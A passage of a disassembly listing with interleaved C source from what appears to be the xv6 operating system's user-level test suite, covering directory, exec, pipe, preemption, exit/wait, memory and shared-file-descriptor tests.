33 cmpl $0x33,-0xc(%ebp) 862: 7e db jle 83f <createtest+0x85> } printf(stdout, "many creates, followed by unlink; ok\n"); 864: a1 a8 62 00 00 mov 0x62a8,%eax 869: 83 ec 08 sub $0x8,%esp 86c: 68 c8 47 00 00 push $0x47c8 871: 50 push %eax 872: e8 c7 37 00 00 call 403e <printf> 877: 83 c4 10 add $0x10,%esp } 87a: 90 nop 87b: c9 leave 87c: c3 ret 0000087d <dirtest>: void dirtest(void) { 87d: 55 push %ebp 87e: 89 e5 mov %esp,%ebp 880: 83 ec 08 sub $0x8,%esp printf(stdout, "mkdir test\n"); 883: a1 a8 62 00 00 mov 0x62a8,%eax 888: 83 ec 08 sub $0x8,%esp 88b: 68 ee 47 00 00 push $0x47ee 890: 50 push %eax 891: e8 a8 37 00 00 call 403e <printf> 896: 83 c4 10 add $0x10,%esp if(mkdir("dir0") < 0){ 899: 83 ec 0c sub $0xc,%esp 89c: 68 fa 47 00 00 push $0x47fa 8a1: e8 8d 36 00 00 call 3f33 <mkdir> 8a6: 83 c4 10 add $0x10,%esp 8a9: 85 c0 test %eax,%eax 8ab: 79 1b jns 8c8 <dirtest+0x4b> printf(stdout, "mkdir failed\n"); 8ad: a1 a8 62 00 00 mov 0x62a8,%eax 8b2: 83 ec 08 sub $0x8,%esp 8b5: 68 1d 44 00 00 push $0x441d 8ba: 50 push %eax 8bb: e8 7e 37 00 00 call 403e <printf> 8c0: 83 c4 10 add $0x10,%esp exit(); 8c3: e8 03 36 00 00 call 3ecb <exit> } if(chdir("dir0") < 0){ 8c8: 83 ec 0c sub $0xc,%esp 8cb: 68 fa 47 00 00 push $0x47fa 8d0: e8 66 36 00 00 call 3f3b <chdir> 8d5: 83 c4 10 add $0x10,%esp 8d8: 85 c0 test %eax,%eax 8da: 79 1b jns 8f7 <dirtest+0x7a> printf(stdout, "chdir dir0 failed\n"); 8dc: a1 a8 62 00 00 mov 0x62a8,%eax 8e1: 83 ec 08 sub $0x8,%esp 8e4: 68 ff 47 00 00 push $0x47ff 8e9: 50 push %eax 8ea: e8 4f 37 00 00 call 403e <printf> 8ef: 83 c4 10 add $0x10,%esp exit(); 8f2: e8 d4 35 00 00 call 3ecb <exit> } if(chdir("..") < 0){ 8f7: 83 ec 0c sub $0xc,%esp 8fa: 68 12 48 00 00 push $0x4812 8ff: e8 37 36 00 00 call 3f3b <chdir> 904: 83 c4 10 add $0x10,%esp 907: 85 c0 test %eax,%eax 909: 79 1b jns 926 <dirtest+0xa9> printf(stdout, "chdir .. failed\n"); 90b: a1 a8 62 00 00 mov 0x62a8,%eax 910: 83 ec 08 sub $0x8,%esp 913: 68 15 48 00 00 push $0x4815 918: 50 push %eax 919: e8 20 37 00 00 call 403e <printf> 91e: 83 c4 10 add $0x10,%esp exit(); 921: e8 a5 35 00 00 call 3ecb <exit> } if(unlink("dir0") < 0){ 926: 83 ec 0c sub $0xc,%esp 929: 68 fa 47 00 00 push $0x47fa 92e: e8 e8 35 00 00 call 3f1b <unlink> 933: 83 c4 10 add $0x10,%esp 936: 85 c0 test %eax,%eax 938: 79 1b jns 955 <dirtest+0xd8> printf(stdout, "unlink dir0 failed\n"); 93a: a1 a8 62 00 00 mov 0x62a8,%eax 93f: 83 ec 08 sub $0x8,%esp 942: 68 26 48 00 00 push $0x4826 947: 50 push %eax 948: e8 f1 36 00 00 call 403e <printf> 94d: 83 c4 10 add $0x10,%esp exit(); 950: e8 76 35 00 00 call 3ecb <exit> } printf(stdout, "mkdir test ok\n"); 955: a1 a8 62 00 00 mov 0x62a8,%eax 95a: 83 ec 08 sub $0x8,%esp 95d: 68 3a 48 00 00 push $0x483a 962: 50 push %eax 963: e8 d6 36 00 00 call 403e <printf> 968: 83 c4 10 add $0x10,%esp } 96b: 90 nop 96c: c9 leave 96d: c3 ret 0000096e <exectest>: void exectest(void) { 96e: 55 push %ebp 96f: 89 e5 mov %esp,%ebp 971: 83 ec 08 sub $0x8,%esp printf(stdout, "exec test\n"); 974: a1 a8 62 00 00 mov 0x62a8,%eax 979: 83 ec 08 sub $0x8,%esp 97c: 68 49 48 00 00 push $0x4849 981: 50 push %eax 982: e8 b7 36 00 00 call 403e <printf> 987: 83 c4 10 add $0x10,%esp if(exec("echo", echoargv) < 0){ 98a: 83 ec 08 sub $0x8,%esp 98d: 68 94 62 00 00 push $0x6294 992: 68 f4 43 00 00 push $0x43f4 997: e8 67 35 00 00 call 3f03 <exec> 99c: 83 c4 10 add $0x10,%esp 99f: 85 c0 test %eax,%eax 9a1: 79 1b jns 9be <exectest+0x50> printf(stdout, "exec echo failed\n"); 9a3: a1 a8 62 00 00 mov 0x62a8,%eax 9a8: 83 ec 08 sub $0x8,%esp 9ab: 68 54 48 00 00 push $0x4854 9b0: 50 push %eax 9b1: e8 88 36 00 00 call 403e <printf> 9b6: 83 c4 10 add $0x10,%esp exit(); 9b9: e8 0d 35 00 00 call 3ecb <exit> } } 9be: 90 nop 9bf: c9 leave 9c0: c3 ret 000009c1 <pipe1>: // simple fork and pipe read/write void pipe1(void) { 9c1: 55 push %ebp 9c2: 89 e5 mov %esp,%ebp 9c4: 83 ec 28 sub $0x28,%esp int fds[2], pid; int seq, i, n, cc, total; if(pipe(fds) != 0){ 9c7: 83 ec 0c sub $0xc,%esp 9ca: 8d 45 d8 lea -0x28(%ebp),%eax 9cd: 50 push %eax 9ce: e8 08 35 00 00 call 3edb <pipe> 9d3: 83 c4 10 add $0x10,%esp 9d6: 85 c0 test %eax,%eax 9d8: 74 17 je 9f1 <pipe1+0x30> printf(1, "pipe() failed\n"); 9da: 83 ec 08 sub $0x8,%esp 9dd: 68 66 48 00 00 push $0x4866 9e2: 6a 01 push $0x1 9e4: e8 55 36 00 00 call 403e <printf> 9e9: 83 c4 10 add $0x10,%esp exit(); 9ec: e8 da 34 00 00 call 3ecb <exit> } pid = fork(); 9f1: e8 cd 34 00 00 call 3ec3 <fork> 9f6: 89 45 e0 mov %eax,-0x20(%ebp) seq = 0; 9f9: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) if(pid == 0){ a00: 83 7d e0 00 cmpl $0x0,-0x20(%ebp) a04: 0f 85 89 00 00 00 jne a93 <pipe1+0xd2> close(fds[0]); a0a: 8b 45 d8 mov -0x28(%ebp),%eax a0d: 83 ec 0c sub $0xc,%esp a10: 50 push %eax a11: e8 dd 34 00 00 call 3ef3 <close> a16: 83 c4 10 add $0x10,%esp for(n = 0; n < 5; n++){ a19: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) a20: eb 66 jmp a88 <pipe1+0xc7> for(i = 0; i < 1033; i++) a22: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) a29: eb 19 jmp a44 <pipe1+0x83> buf[i] = seq++; a2b: 8b 45 f4 mov -0xc(%ebp),%eax a2e: 8d 50 01 lea 0x1(%eax),%edx a31: 89 55 f4 mov %edx,-0xc(%ebp) a34: 89 c2 mov %eax,%edx a36: 8b 45 f0 mov -0x10(%ebp),%eax a39: 05 a0 8a 00 00 add $0x8aa0,%eax a3e: 88 10 mov %dl,(%eax) for(i = 0; i < 1033; i++) a40: 83 45 f0 01 addl $0x1,-0x10(%ebp) a44: 81 7d f0 08 04 00 00 cmpl $0x408,-0x10(%ebp) a4b: 7e de jle a2b <pipe1+0x6a> if(write(fds[1], buf, 1033) != 1033){ a4d: 8b 45 dc mov -0x24(%ebp),%eax a50: 83 ec 04 sub $0x4,%esp a53: 68 09 04 00 00 push $0x409 a58: 68 a0 8a 00 00 push $0x8aa0 a5d: 50 push %eax a5e: e8 88 34 00 00 call 3eeb <write> a63: 83 c4 10 add $0x10,%esp a66: 3d 09 04 00 00 cmp $0x409,%eax a6b: 74 17 je a84 <pipe1+0xc3> printf(1, "pipe1 oops 1\n"); a6d: 83 ec 08 sub $0x8,%esp a70: 68 75 48 00 00 push $0x4875 a75: 6a 01 push $0x1 a77: e8 c2 35 00 00 call 403e <printf> a7c: 83 c4 10 add $0x10,%esp exit(); a7f: e8 47 34 00 00 call 3ecb <exit> for(n = 0; n < 5; n++){ a84: 83 45 ec 01 addl $0x1,-0x14(%ebp) a88: 83 7d ec 04 cmpl $0x4,-0x14(%ebp) a8c: 7e 94 jle a22 <pipe1+0x61> } } exit(); a8e: e8 38 34 00 00 call 3ecb <exit> } else if(pid > 0){ a93: 83 7d e0 00 cmpl $0x0,-0x20(%ebp) a97: 0f 8e f4 00 00 00 jle b91 <pipe1+0x1d0> close(fds[1]); a9d: 8b 45 dc mov -0x24(%ebp),%eax aa0: 83 ec 0c sub $0xc,%esp aa3: 50 push %eax aa4: e8 4a 34 00 00 call 3ef3 <close> aa9: 83 c4 10 add $0x10,%esp total = 0; aac: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) cc = 1; ab3: c7 45 e8 01 00 00 00 movl $0x1,-0x18(%ebp) while((n = read(fds[0], buf, cc)) > 0){ aba: eb 66 jmp b22 <pipe1+0x161> for(i = 0; i < n; i++){ abc: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) ac3: eb 3b jmp b00 <pipe1+0x13f> if((buf[i] & 0xff) != (seq++ & 0xff)){ ac5: 8b 45 f0 mov -0x10(%ebp),%eax ac8: 05 a0 8a 00 00 add $0x8aa0,%eax acd: 0f b6 00 movzbl (%eax),%eax ad0: 0f be c8 movsbl %al,%ecx ad3: 8b 45 f4 mov -0xc(%ebp),%eax ad6: 8d 50 01 lea 0x1(%eax),%edx ad9: 89 55 f4 mov %edx,-0xc(%ebp) adc: 31 c8 xor %ecx,%eax ade: 0f b6 c0 movzbl %al,%eax ae1: 85 c0 test %eax,%eax ae3: 74 17 je afc <pipe1+0x13b> printf(1, "pipe1 oops 2\n"); ae5: 83 ec 08 sub $0x8,%esp ae8: 68 83 48 00 00 push $0x4883 aed: 6a 01 push $0x1 aef: e8 4a 35 00 00 call 403e <printf> af4: 83 c4 10 add $0x10,%esp af7: e9 ac 00 00 00 jmp ba8 <pipe1+0x1e7> for(i = 0; i < n; i++){ afc: 83 45 f0 01 addl $0x1,-0x10(%ebp) b00: 8b 45 f0 mov -0x10(%ebp),%eax b03: 3b 45 ec cmp -0x14(%ebp),%eax b06: 7c bd jl ac5 <pipe1+0x104> return; } } total += n; b08: 8b 45 ec mov -0x14(%ebp),%eax b0b: 01 45 e4 add %eax,-0x1c(%ebp) cc = cc * 2; b0e: d1 65 e8 shll -0x18(%ebp) if(cc > sizeof(buf)) b11: 8b 45 e8 mov -0x18(%ebp),%eax b14: 3d 00 20 00 00 cmp $0x2000,%eax b19: 76 07 jbe b22 <pipe1+0x161> cc = sizeof(buf); b1b: c7 45 e8 00 20 00 00 movl $0x2000,-0x18(%ebp) while((n = read(fds[0], buf, cc)) > 0){ b22: 8b 45 d8 mov -0x28(%ebp),%eax b25: 83 ec 04 sub $0x4,%esp b28: ff 75 e8 pushl -0x18(%ebp) b2b: 68 a0 8a 00 00 push $0x8aa0 b30: 50 push %eax b31: e8 ad 33 00 00 call 3ee3 <read> b36: 83 c4 10 add $0x10,%esp b39: 89 45 ec mov %eax,-0x14(%ebp) b3c: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) b40: 0f 8f 76 ff ff ff jg abc <pipe1+0xfb> } if(total != 5 * 1033){ b46: 81 7d e4 2d 14 00 00 cmpl $0x142d,-0x1c(%ebp) b4d: 74 1a je b69 <pipe1+0x1a8> printf(1, "pipe1 oops 3 total %d\n", total); b4f: 83 ec 04 sub $0x4,%esp b52: ff 75 e4 pushl -0x1c(%ebp) b55: 68 91 48 00 00 push $0x4891 b5a: 6a 01 push $0x1 b5c: e8 dd 34 00 00 call 403e <printf> b61: 83 c4 10 add $0x10,%esp exit(); b64: e8 62 33 00 00 call 3ecb <exit> } close(fds[0]); b69: 8b 45 d8 mov -0x28(%ebp),%eax b6c: 83 ec 0c sub $0xc,%esp b6f: 50 push %eax b70: e8 7e 33 00 00 call 3ef3 <close> b75: 83 c4 10 add $0x10,%esp wait(); b78: e8 56 33 00 00 call 3ed3 <wait> } else { printf(1, "fork() failed\n"); exit(); } printf(1, "pipe1 ok\n"); b7d: 83 ec 08 sub $0x8,%esp b80: 68 b7 48 00 00 push $0x48b7 b85: 6a 01 push $0x1 b87: e8 b2 34 00 00 call 403e <printf> b8c: 83 c4 10 add $0x10,%esp b8f: eb 17 jmp ba8 <pipe1+0x1e7> printf(1, "fork() failed\n"); b91: 83 ec 08 sub $0x8,%esp b94: 68 a8 48 00 00 push $0x48a8 b99: 6a 01 push $0x1 b9b: e8 9e 34 00 00 call 403e <printf> ba0: 83 c4 10 add $0x10,%esp exit(); ba3: e8 23 33 00 00 call 3ecb <exit> } ba8: c9 leave ba9: c3 ret 00000baa <preempt>: // meant to be run w/ at most two CPUs void preempt(void) { baa: 55 push %ebp bab: 89 e5 mov %esp,%ebp bad: 83 ec 28 sub $0x28,%esp int pid1, pid2, pid3; int pfds[2]; printf(1, "preempt: "); bb0: 83 ec 08 sub $0x8,%esp bb3: 68 c1 48 00 00 push $0x48c1 bb8: 6a 01 push $0x1 bba: e8 7f 34 00 00 call 403e <printf> bbf: 83 c4 10 add $0x10,%esp pid1 = fork(); bc2: e8 fc 32 00 00 call 3ec3 <fork> bc7: 89 45 f4 mov %eax,-0xc(%ebp) if(pid1 == 0) bca: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) bce: 75 02 jne bd2 <preempt+0x28> for(;;) bd0: eb fe jmp bd0 <preempt+0x26> ; pid2 = fork(); bd2: e8 ec 32 00 00 call 3ec3 <fork> bd7: 89 45 f0 mov %eax,-0x10(%ebp) if(pid2 == 0) bda: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) bde: 75 02 jne be2 <preempt+0x38> for(;;) be0: eb fe jmp be0 <preempt+0x36> ; pipe(pfds); be2: 83 ec 0c sub $0xc,%esp be5: 8d 45 e4 lea -0x1c(%ebp),%eax be8: 50 push %eax be9: e8 ed 32 00 00 call 3edb <pipe> bee: 83 c4 10 add $0x10,%esp pid3 = fork(); bf1: e8 cd 32 00 00 call 3ec3 <fork> bf6: 89 45 ec mov %eax,-0x14(%ebp) if(pid3 == 0){ bf9: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) bfd: 75 4d jne c4c <preempt+0xa2> close(pfds[0]); bff: 8b 45 e4 mov -0x1c(%ebp),%eax c02: 83 ec 0c sub $0xc,%esp c05: 50 push %eax c06: e8 e8 32 00 00 call 3ef3 <close> c0b: 83 c4 10 add $0x10,%esp if(write(pfds[1], "x", 1) != 1) c0e: 8b 45 e8 mov -0x18(%ebp),%eax c11: 83 ec 04 sub $0x4,%esp c14: 6a 01 push $0x1 c16: 68 cb 48 00 00 push $0x48cb c1b: 50 push %eax c1c: e8 ca 32 00 00 call 3eeb <write> c21: 83 c4 10 add $0x10,%esp c24: 83 f8 01 cmp $0x1,%eax c27: 74 12 je c3b <preempt+0x91> printf(1, "preempt write error"); c29: 83 ec 08 sub $0x8,%esp c2c: 68 cd 48 00 00 push $0x48cd c31: 6a 01 push $0x1 c33: e8 06 34 00 00 call 403e <printf> c38: 83 c4 10 add $0x10,%esp close(pfds[1]); c3b: 8b 45 e8 mov -0x18(%ebp),%eax c3e: 83 ec 0c sub $0xc,%esp c41: 50 push %eax c42: e8 ac 32 00 00 call 3ef3 <close> c47: 83 c4 10 add $0x10,%esp for(;;) c4a: eb fe jmp c4a <preempt+0xa0> ; } close(pfds[1]); c4c: 8b 45 e8 mov -0x18(%ebp),%eax c4f: 83 ec 0c sub $0xc,%esp c52: 50 push %eax c53: e8 9b 32 00 00 call 3ef3 <close> c58: 83 c4 10 add $0x10,%esp if(read(pfds[0], buf, sizeof(buf)) != 1){ c5b: 8b 45 e4 mov -0x1c(%ebp),%eax c5e: 83 ec 04 sub $0x4,%esp c61: 68 00 20 00 00 push $0x2000 c66: 68 a0 8a 00 00 push $0x8aa0 c6b: 50 push %eax c6c: e8 72 32 00 00 call 3ee3 <read> c71: 83 c4 10 add $0x10,%esp c74: 83 f8 01 cmp $0x1,%eax c77: 74 14 je c8d <preempt+0xe3> printf(1, "preempt read error"); c79: 83 ec 08 sub $0x8,%esp c7c: 68 e1 48 00 00 push $0x48e1 c81: 6a 01 push $0x1 c83: e8 b6 33 00 00 call 403e <printf> c88: 83 c4 10 add $0x10,%esp c8b: eb 7e jmp d0b <preempt+0x161> return; } close(pfds[0]); c8d: 8b 45 e4 mov -0x1c(%ebp),%eax c90: 83 ec 0c sub $0xc,%esp c93: 50 push %eax c94: e8 5a 32 00 00 call 3ef3 <close> c99: 83 c4 10 add $0x10,%esp printf(1, "kill... "); c9c: 83 ec 08 sub $0x8,%esp c9f: 68 f4 48 00 00 push $0x48f4 ca4: 6a 01 push $0x1 ca6: e8 93 33 00 00 call 403e <printf> cab: 83 c4 10 add $0x10,%esp kill(pid1); cae: 83 ec 0c sub $0xc,%esp cb1: ff 75 f4 pushl -0xc(%ebp) cb4: e8 42 32 00 00 call 3efb <kill> cb9: 83 c4 10 add $0x10,%esp kill(pid2); cbc: 83 ec 0c sub $0xc,%esp cbf: ff 75 f0 pushl -0x10(%ebp) cc2: e8 34 32 00 00 call 3efb <kill> cc7: 83 c4 10 add $0x10,%esp kill(pid3); cca: 83 ec 0c sub $0xc,%esp ccd: ff 75 ec pushl -0x14(%ebp) cd0: e8 26 32 00 00 call 3efb <kill> cd5: 83 c4 10 add $0x10,%esp printf(1, "wait... "); cd8: 83 ec 08 sub $0x8,%esp cdb: 68 fd 48 00 00 push $0x48fd ce0: 6a 01 push $0x1 ce2: e8 57 33 00 00 call 403e <printf> ce7: 83 c4 10 add $0x10,%esp wait(); cea: e8 e4 31 00 00 call 3ed3 <wait> wait(); cef: e8 df 31 00 00 call 3ed3 <wait> wait(); cf4: e8 da 31 00 00 call 3ed3 <wait> printf(1, "preempt ok\n"); cf9: 83 ec 08 sub $0x8,%esp cfc: 68 06 49 00 00 push $0x4906 d01: 6a 01 push $0x1 d03: e8 36 33 00 00 call 403e <printf> d08: 83 c4 10 add $0x10,%esp } d0b: c9 leave d0c: c3 ret 00000d0d <exitwait>: // try to find any races between exit and wait void exitwait(void) { d0d: 55 push %ebp d0e: 89 e5 mov %esp,%ebp d10: 83 ec 18 sub $0x18,%esp int i, pid; for(i = 0; i < 100; i++){ d13: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) d1a: eb 4f jmp d6b <exitwait+0x5e> pid = fork(); d1c: e8 a2 31 00 00 call 3ec3 <fork> d21: 89 45 f0 mov %eax,-0x10(%ebp) if(pid < 0){ d24: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) d28: 79 14 jns d3e <exitwait+0x31> printf(1, "fork failed\n"); d2a: 83 ec 08 sub $0x8,%esp d2d: 68 95 44 00 00 push $0x4495 d32: 6a 01 push $0x1 d34: e8 05 33 00 00 call 403e <printf> d39: 83 c4 10 add $0x10,%esp return; d3c: eb 45 jmp d83 <exitwait+0x76> } if(pid){ d3e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) d42: 74 1e je d62 <exitwait+0x55> if(wait() != pid){ d44: e8 8a 31 00 00 call 3ed3 <wait> d49: 39 45 f0 cmp %eax,-0x10(%ebp) d4c: 74 19 je d67 <exitwait+0x5a> printf(1, "wait wrong pid\n"); d4e: 83 ec 08 sub $0x8,%esp d51: 68 12 49 00 00 push $0x4912 d56: 6a 01 push $0x1 d58: e8 e1 32 00 00 call 403e <printf> d5d: 83 c4 10 add $0x10,%esp return; d60: eb 21 jmp d83 <exitwait+0x76> } } else { exit(); d62: e8 64 31 00 00 call 3ecb <exit> for(i = 0; i < 100; i++){ d67: 83 45 f4 01 addl $0x1,-0xc(%ebp) d6b: 83 7d f4 63 cmpl $0x63,-0xc(%ebp) d6f: 7e ab jle d1c <exitwait+0xf> } } printf(1, "exitwait ok\n"); d71: 83 ec 08 sub $0x8,%esp d74: 68 22 49 00 00 push $0x4922 d79: 6a 01 push $0x1 d7b: e8 be 32 00 00 call 403e <printf> d80: 83 c4 10 add $0x10,%esp } d83: c9 leave d84: c3 ret 00000d85 <mem>: void mem(void) { d85: 55 push %ebp d86: 89 e5 mov %esp,%ebp d88: 83 ec 18 sub $0x18,%esp void *m1, *m2; int pid, ppid; printf(1, "mem test\n"); d8b: 83 ec 08 sub $0x8,%esp d8e: 68 2f 49 00 00 push $0x492f d93: 6a 01 push $0x1 d95: e8 a4 32 00 00 call 403e <printf> d9a: 83 c4 10 add $0x10,%esp ppid = getpid(); d9d: e8 a9 31 00 00 call 3f4b <getpid> da2: 89 45 f0 mov %eax,-0x10(%ebp) if((pid = fork()) == 0){ da5: e8 19 31 00 00 call 3ec3 <fork> daa: 89 45 ec mov %eax,-0x14(%ebp) dad: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) db1: 0f 85 b7 00 00 00 jne e6e <mem+0xe9> m1 = 0; db7: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) while((m2 = malloc(10001)) != 0){ dbe: eb 0e jmp dce <mem+0x49> *(char**)m2 = m1; dc0: 8b 45 e8 mov -0x18(%ebp),%eax dc3: 8b 55 f4 mov -0xc(%ebp),%edx dc6: 89 10 mov %edx,(%eax) m1 = m2; dc8: 8b 45 e8 mov -0x18(%ebp),%eax dcb: 89 45 f4 mov %eax,-0xc(%ebp) while((m2 = malloc(10001)) != 0){ dce: 83 ec 0c sub $0xc,%esp dd1: 68 11 27 00 00 push $0x2711 dd6: e8 36 35 00 00 call 4311 <malloc> ddb: 83 c4 10 add $0x10,%esp dde: 89 45 e8 mov %eax,-0x18(%ebp) de1: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) de5: 75 d9 jne dc0 <mem+0x3b> } while(m1){ de7: eb 1c jmp e05 <mem+0x80> m2 = *(char**)m1; de9: 8b 45 f4 mov -0xc(%ebp),%eax dec: 8b 00 mov (%eax),%eax dee: 89 45 e8 mov %eax,-0x18(%ebp) free(m1); df1: 83 ec 0c sub $0xc,%esp df4: ff 75 f4 pushl -0xc(%ebp) df7: e8 d3 33 00 00 call 41cf <free> dfc: 83 c4 10 add $0x10,%esp m1 = m2; dff: 8b 45 e8 mov -0x18(%ebp),%eax e02: 89 45 f4 mov %eax,-0xc(%ebp) while(m1){ e05: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) e09: 75 de jne de9 <mem+0x64> } m1 = malloc(1024*20); e0b: 83 ec 0c sub $0xc,%esp e0e: 68 00 50 00 00 push $0x5000 e13: e8 f9 34 00 00 call 4311 <malloc> e18: 83 c4 10 add $0x10,%esp e1b: 89 45 f4 mov %eax,-0xc(%ebp) if(m1 == 0){ e1e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) e22: 75 25 jne e49 <mem+0xc4> printf(1, "couldn't allocate mem?!!\n"); e24: 83 ec 08 sub $0x8,%esp e27: 68 39 49 00 00 push $0x4939 e2c: 6a 01 push $0x1 e2e: e8 0b 32 00 00 call 403e <printf> e33: 83 c4 10 add $0x10,%esp kill(ppid); e36: 83 ec 0c sub $0xc,%esp e39: ff 75 f0 pushl -0x10(%ebp) e3c: e8 ba 30 00 00 call 3efb <kill> e41: 83 c4 10 add $0x10,%esp exit(); e44: e8 82 30 00 00 call 3ecb <exit> } free(m1); e49: 83 ec 0c sub $0xc,%esp e4c: ff 75 f4 pushl -0xc(%ebp) e4f: e8 7b 33 00 00 call 41cf <free> e54: 83 c4 10 add $0x10,%esp printf(1, "mem ok\n"); e57: 83 ec 08 sub $0x8,%esp e5a: 68 53 49 00 00 push $0x4953 e5f: 6a 01 push $0x1 e61: e8 d8 31 00 00 call 403e <printf> e66: 83 c4 10 add $0x10,%esp exit(); e69: e8 5d 30 00 00 call 3ecb <exit> } else { wait(); e6e: e8 60 30 00 00 call 3ed3 <wait> } } e73: 90 nop e74: c9 leave e75: c3 ret 00000e76 <sharedfd>: // two processes write to the same file descriptor // is the offset shared? does inode locking work? void sharedfd(void) { e76: 55 push %ebp e77: 89 e5 mov %esp,%ebp e79: 83 ec 38 sub $0x38,%esp int fd, pid, i, n, nc, np; char buf[10]; printf(1, "sharedfd test\n"); e7c: 83 ec 08 sub $0x8,%esp e7f: 68 5b 49 00 00 push $0x495b e84: 6a 01 push $0x1 e86: e8 b3 31 00 00 call 403e <printf> e8b: 83 c4 10 add $0x10,%esp unlink("sharedfd"); e8e: 83 ec 0c sub $0xc,%esp e91: 68 6a 49 00 00 push $0x496a e96: e8 80 30 00 00 call 3f1b <unlink> e9b: 83 c4 10 add $0x10,%esp fd = open("sharedfd", O_CREATE|O_RDWR); e9e: 83 ec 08 sub $0x8,%esp ea1: 68 02 02 00 00 push $0x202 ea6: 68 6a 49 00 00 push $0x496a eab: e8 5b 30 00 00 call 3f0b <open> eb0: 83 c4 10 add $0x10,%esp eb3: 89 45 e8 mov %eax,-0x18(%ebp) if(fd < 0){ eb6: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) eba: 79 17 jns ed3 <sharedfd+0x5d> printf(1, "fstests: cannot open sharedfd for writing"); ebc: 83 ec 08 sub $0x8,%esp ebf: 68 74 49 00 00 push $0x4974 ec4: 6a 01 push $0x1 ec6: e8 73 31 00 00 call 403e <printf> ecb: 83 c4 10 add $0x10,%esp return; ece: e9 84 01 00 00 jmp 1057 <sharedfd+0x1e1> } pid = fork(); ed3: e8 eb 2f 00 00 call 3ec3 <fork> ed8: 89 45 e4 mov %eax,-0x1c(%ebp) memset(buf, pid==0?'c':'p', sizeof(buf)); edb: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp) edf: 75 07 jne ee8 <sharedfd+0x72> ee1: b8 63 00 00 00 mov $0x63,%eax ee6: eb 05 jmp eed <sharedfd+0x77> ee8: b8 70 00 00 00 mov $0x70,%eax eed: 83 ec 04 sub $0x4,%esp ef0: 6a 0a push $0xa ef2: 50 push %eax ef3: 8d 45 d6 lea -0x2a(%ebp),%eax ef6: 50 push %eax ef7: e8 34 2e 00 00 call 3d30 <memset> efc: 83 c4 10 add $0x10,%esp for(i = 0; i < 1000; i++){ eff: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) f06: eb 31 jmp f39 <sharedfd+0xc3> if(write(fd, buf, sizeof(buf)) != sizeof(buf)){ f08: 83 ec 04 sub $0x4,%esp f0b: 6a 0a push $0xa f0d: 8d 45 d6 lea -0x2a(%ebp),%eax f10: 50 push %eax f11: ff 75 e8 pushl -0x18(%ebp) f14: e8 d2 2f 00 00 call 3eeb <write> f19: 83 c4 10 add $0x10,%esp f1c: 83 f8 0a cmp $0xa,%eax f1f: 74 14 je f35 <sharedfd+0xbf> printf(1, "fstests: write sharedfd failed\n"); f21: 83 ec 08 sub $0x8,%esp f24: 68 a0 49 00 00 push $0x49a0 f29: 6a 01 push $0x1 f2b: e8 0e 31 00 00 call 403e <printf> f30: 83 c4 10 add $0x10,%esp break; f33: eb 0d jmp f42 <sharedfd+0xcc> for(i = 0; i < 1000; i++){ f35: 83 45 f4 01 addl $0x1,-0xc(%ebp) f39: 81 7d f4 e7 03 00 00 cmpl $0x3e7,-0xc(%ebp) f40: 7e c6 jle f08 <sharedfd+0x92> } } if(pid == 0) f42: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp) f46: 75 05 jne f4d <sharedfd+0xd7> exit(); f48: e8 7e 2f 00 00 call 3ecb <exit> else wait(); f4d: e8 81 2f 00 00 call 3ed3 <wait> close(fd); f52: 83 ec 0c sub $0xc,%esp f55: ff 75 e8 pushl -0x18(%ebp) f58: e8 96 2f 00 00 call 3ef3 <close> f5d: 83 c4 10 add $0x10,%esp fd = open("sharedfd", 0); f60: 83 ec 08 sub $0x8,%esp f63: 6a 00 push $0x0 f65: 68 6a 49 00 00 push $0x496a f6a: e8 9c 2f 00 00 call 3f0b <open> f6f: 83 c4 10 add $0x10,%esp f72: 89 45 e8 mov %eax,-0x18(%ebp) if(fd < 0){ f75: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) f79: 79 17 jns f92 <sharedfd+0x11c> printf(1, "fstests: cannot open sharedfd for reading\n"); f7b: 83 ec 08 sub $0x8,%esp f7e: 68 c0 49 00 00 push $0x49c0 f83: 6a 01 push $0x1 f85: e8 b4 30 00 00 call 403e <printf> f8a: 83 c4 10 add $0x10,%esp return; f8d: e9 c5 00 00 00 jmp 1057 <sharedfd+0x1e1> } nc = np = 0; f92: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) f99: 8b 45 ec mov -0x14(%ebp),%eax f9c: 89 45 f0 mov %eax,-0x10(%ebp) while((n = read(fd, buf, sizeof(buf))) > 0){ f9f: eb 3b jmp fdc <sharedfd+0x166> for(i = 0; i < sizeof(buf); i++){ fa1: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) fa8: eb 2a jmp fd4 <sharedfd+0x15e> if(buf[i] == 'c') faa: 8d 55 d6 lea -0x2a(%ebp),%edx fad: 8b 45 f4 mov -0xc(%ebp),%eax fb0: 01 d0 add %edx,%eax fb2: 0f b6 00 movzbl (%eax),%eax fb5: 3c 63 cmp $0x63,%al fb7: 75 04 jne fbd <sharedfd+0x147> nc++; fb9: 83 45 f0 01 addl $0x1,-0x10(%ebp) if(buf[i] == 'p') fbd: 8d 55 d6 lea -0x2a(%ebp),%edx fc0: 8b 45 f4 mov -0xc(%ebp),%eax fc3: 01 d0 add %edx,%eax fc5: 0f b6 00 movzbl (%eax),%eax fc8: 3c 70 cmp $0x70,%al fca: 75 04 jne fd0 <sharedfd+0x15a> np++; fcc: 83 45 ec 01 addl $0x1,-0x14(%ebp) for(i = 0; i < sizeof(buf); i++){ fd0: 83 45 f4 01 addl $0x1,-0xc(%ebp) fd4: 8b 45 f4 mov -0xc(%ebp),%eax fd7: 83 